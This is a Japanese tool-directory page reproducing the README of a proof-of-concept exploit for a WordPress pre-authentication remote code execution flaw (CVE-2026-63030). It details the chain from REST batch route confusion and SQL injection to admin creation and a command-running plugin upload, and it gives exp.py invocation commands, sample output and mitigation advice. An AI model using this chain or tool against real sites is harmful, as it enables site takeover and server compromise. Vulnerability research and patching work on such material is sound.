Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63030 — WordPress 未認証RCE EXP | CVE-2026-63030 | Kitploit
ツール/GitHubGitHub/mhtsec/cve-2026-63030
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubmhtsec/cve-2026-63030

CVE-2026-63030

WordPress 未認証RCE EXP | CVE-2026-63030

リポジトリを見る
95101ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-63030

WordPress REST API の batch ルート混乱 + SQL インジェクション により、未認証での管理者作成 → リモートコード実行 を引き起こす完全な攻撃チェーン PoC。

認可されたセキュリティテスト、脆弱性の再現、研究目的にのみ使用してください。未認可のターゲットへの使用は禁止です。

脆弱性の概要

ツールをダウンロード
項目説明
CVECVE-2026-63030
コンポーネントWordPress Core REST API (/batch/v1)
影響を受けるバージョンWordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1(公式アナウンスに準拠)
攻撃の前提条件対象が REST API batch を有効にしていること。サイトに公開済みの投稿またはページが少なくとも 1 件あること
必要な権限ログイン不要(Pre-Auth)
影響管理者アカウントを作成し、さらにプラグインをアップロードして RCE を実現可能

攻撃チェーン

root@kitploit:~
REST batch 路由混淆
    → author__not_in SQL 注入
    → UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
    → Customizer 发布时切换为已有管理员上下文
    → REST /wp/v2/users 创建新管理员
    → 后台上传一次性插件
    → 执行系统命令

核心は「スタック型クエリによるデータベース書き込み」ではなく、以下のとおりです:

  1. serve_batch_request_v1() の検証段階とスケジューリング段階で $matches / $validation のインデックスが同期せず、ルート混乱(route confusion) を引き起こします。
  2. ずれが生じると、文字列形式の author_exclude が WP_Query の author__not_in に入り、NOT IN (...) に連結されて SQL インジェクション を形成します。
  3. UNION SELECT で完全な wp_posts 行を偽造し、oEmbed / Customizer のロジックをトリガーして、現在のユーザーコンテキストを既存の管理者に切り替えます。
  4. 管理者として REST のユーザー作成 API を呼び出し、新しい管理者を書き込みます。
  5. 管理画面にログインしてプラグインをアップロードし、コマンド実行を実現します。

環境要件

  • Python 3.10+(標準ライブラリのみ、サードパーティ依存なし)
  • テストする権限がある WordPress インスタンスを対象とすること
  • 対象の PHP に実行可能な関数が少なくとも 1 つ残っていること(proc_open / passthru / system / shell_exec / exec / popen のいずれか)
  • disable_functions ですべてのコマンド実行関数が無効化されている場合でも、管理者の作成は成功しますが、RCE フェーズは失敗します

ファイル構成

root@kitploit:~
CVE-2026-63030/
├── exp.py        # 完整利用脚本(单文件,零依赖)
└── README.md     # 本说明

使い方

最小限の使い方(管理者を自動生成し、デフォルトで id を実行)

root@kitploit:~
python3 exp.py --url http://192.168.1.10:8080/

すべてのパラメータをカスタマイズ

root@kitploit:~
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60

パラメータの説明

パラメータ必須デフォルト値説明
--urlはいなし対象 WordPress のルート URL
--usernameいいえwp2_<hex>作成する管理者のユーザー名
--passwordいいえWp2!<random>作成する管理者のパスワード
--emailいいえ<username>@wp2shell.invalid作成する管理者のメールアドレス
--command / -cいいえidワンショットプラグインで実行するコマンド
--timeoutいいえ601 回の HTTP タイムアウト(秒)

想定される出力例

root@kitploit:~
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.

スクリプトは終了後に以下を試みます:

  1. 今回作成した管理者を削除します
  2. 一時プラグインディレクトリを削除します

途中で失敗した場合は、出力に含まれるアカウントとパスワードを使用して手動でクリーンアップしてください。

注意事項

  1. 認可された環境のみ:認可されていないシステムには使用しないでください。
  2. ターゲットの制限:スクリプトはデフォルトでパブリック IP リテラルのターゲットを拒否し、プライベート / ループバック / リンクローカルアドレス、またはドメイン形式のターゲットのみを許可します。
  3. PHP の堅牢化:has been disabled for security reasons が表示された場合、disable_functions によって対応する関数が無効化されていることを意味します。PoC は複数の実行方法を順番に試します。すべて無効化されている場合、RCE は利用できませんが、管理者作成フェーズは成功する可能性があります。
  4. サイトのコンテンツ:oEmbed キャッシュのシード用に、公開済みの投稿またはページが少なくとも 1 件必要です。
  5. 冪等性とクリーンアップ:実行のたびに新しい管理者と一時プラグインが作成され、成功パスでは自動的にクリーンアップされます。失敗した場合は、wp-admin/users.php と wp-content/plugins/ を手動で確認してください。

修正の推奨事項

  • 公式の修正済みバージョンにアップグレードする(WordPress のセキュリティアナウンスに準拠)
  • パッチが利用できない場合は、/batch/v1 への未認証アクセスを一時的に制限する
  • 本番環境では disable_functions と最小権限の Web ユーザー設定を維持し、RCE の影響を低減する

Disclaimer

本リポジトリ内のコードは、セキュリティ研究および認可された脆弱性の再現にのみ使用されます。利用者は、現地の法令および対象システムの認可範囲を遵守することを自己の責任で確認する必要があります。作者は、いかなる悪用行為に対しても責任を負いません。